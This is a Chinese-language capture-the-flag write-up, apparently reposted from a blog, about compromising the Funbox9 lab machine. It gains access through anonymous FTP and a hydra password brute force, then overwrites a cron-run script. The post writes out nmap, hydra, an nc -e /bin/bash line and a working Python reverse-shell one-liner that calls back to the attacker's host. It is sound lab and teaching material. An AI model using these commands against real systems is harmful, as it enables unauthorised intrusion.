通过nc获取靶机的反弹Shell [靶机实战] - CrazyLoe
source link: https://www.cnblogs.com/loe-home/p/17432634.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
1、环境
Kali:172.30.1.3/24
靶机(Funbox9):172.30.1.129/24
2、信息收集
通过nmap扫描此主机,我们需要获取到开放的端口以及服务的Banner
1 nmap -sV -T5 -A 172.30.1.129
通过扫描我们发现,目标主机开放着21端口,服务Banner是 vsftpd 2.3.4,并且允许匿名登录
我们尝试ftp匿名连接此主机:
根据其返回信息,我们发现了一个可能是一个本地用户的信息:sky用户,可以看到此用户是一个管理员
我们可以尝试对此用户进行ftp密码的爆破,看看能不能获取到其密码(可能无法成功):
1 hydra -l sky -P /usr/share/wordlists/rockyou.txt ftp://172.30.1.129
跑了一段时间后,这是最终的结果:
sky用户的密码为thebest;我们尝试连接:
登录后我们发现,sky并没有被困在 chroot中:
我们可以以此为突破点,搞一些别的事情,但这里我们试着通过nc建立一个反向shell
user.flag 文件 sky用户有着写与执行的权限
将此文件下载后发现,这是一个脚本文件,再进行推理,很可能是一个由系统周期运行的脚本
所以我们可以重写此脚本,然后上传
考虑到一般这种系统的安全防护做的很高,所以此时我们直接通过
nc -nv 172.30.1.3 -e /bin/bash
这种方法可能无法成功建立连接
于是我们使用以下方法来进行连接:
将此命令插入到脚本中,并且上传,这是一个通过python实现的反弹shell,更多方式大家可以去看这个网站:Online - Reverse Shell Generator (revshells.com)
export RHOST="172.30.1.3";export RPORT=25565;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'
随后,我们在本地监听25565端口,等待连接:
1 nc -lvnp 25565
靶机成功运行此脚本,证明我们的推理是正确的:
最终,我们获取了 sarah 的shell
从渗透的角度来看,还可以通过 vsftpd 2.3.4 这个版本通过msf直接利用后门漏洞也是可以的
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK